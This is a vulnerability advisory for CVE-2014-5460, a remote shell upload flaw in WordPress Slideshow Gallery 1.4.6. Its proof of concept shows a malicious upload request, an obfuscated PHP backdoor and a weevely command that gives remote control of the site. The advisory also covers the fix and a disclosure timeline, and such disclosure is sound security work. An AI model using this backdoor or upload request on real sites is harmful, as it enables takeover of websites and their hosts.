WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability.
Vendor Homepage: http://tribulant.com/
Software: Slideshow Gallery
Software Link: http://downloads.wordpress.org/plugin/slideshow-gallery.1.4.6.zip
Tested on: Windows 7 OS, Wordpress 3.9.2 and Chrome Browser.
I found a serious security vulnerability in the Slideshow Gallery plugin. This bug allows an attacker to upload any php file remotely to the vulnerable website (administrator by default).
I have tested and verified that having the current version of the plugin installed in a WordPress installation will allow any registered user (Administrator, Editor, Author, Contributor and Subscriber), to upload a PHP shell to exploit the host system.
Backdoor location: http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php
Today (2014-08-29), I did the notification to vendor and they gave me feedback about the vulnerability by email. The vendor has released a patch a few hours ago. (SlideShow Gallery version 1.4.7 at https://wordpress.org/plugins/slideshow-gallery/changelog).
Slideshow Gallery 1.4.7
FIX: Possible shell exploit by uploading PHP file as slide
Proof of Concept (PoC):
1.An attacker uploads a PHP shell file (i.e. backdoor.php):
POST http://192.168.31.128/wordpress/wp-admin/admin.php?page=slideshow-slides&method=save HTTP/1.1
Content-Disposition: form-data; name="image_file"; filename="backdoor.php"
$kvgk = str_replace("y","","ysytyry_yreypylyayce");
$uuod = $kvgk("j", "", "bjase6j4j_jdjejcjojde");
$qcon = $kvgk("av","","avcraveaavteav_avfavuavnavcavtiavoavn");
$rpgy = $qcon('', $uuod($kvgk("zh", "", $fdcd.$dawj.$gxfr.$asrp))); $rpgy();
2.The backdoor is located at http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php
3.The attacker uses a security tool (i.e. weevely) in order to communicate with the backdoor.
#weevely http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php whitexploit
4.Now the attacker has a “telnet-like console”. Finally, the attacker has the remote control of the vulnerable website.
Vulnerability Disclosure Timeline:
2014-08-28: Discovered vulnerability
2014-08-29: Vendor Notification (firstname.lastname@example.org)
2014-08-29: Vendor Response/Feedback
2014-08-29: Vendor Fix/Patch
2014-08-30: Public Disclosure
Found by: Jesús Ramírez Pichardo
Vulnerability Advisory and Proof of Concept (PDF).
Video demostración del ataque CVE-2014-5460.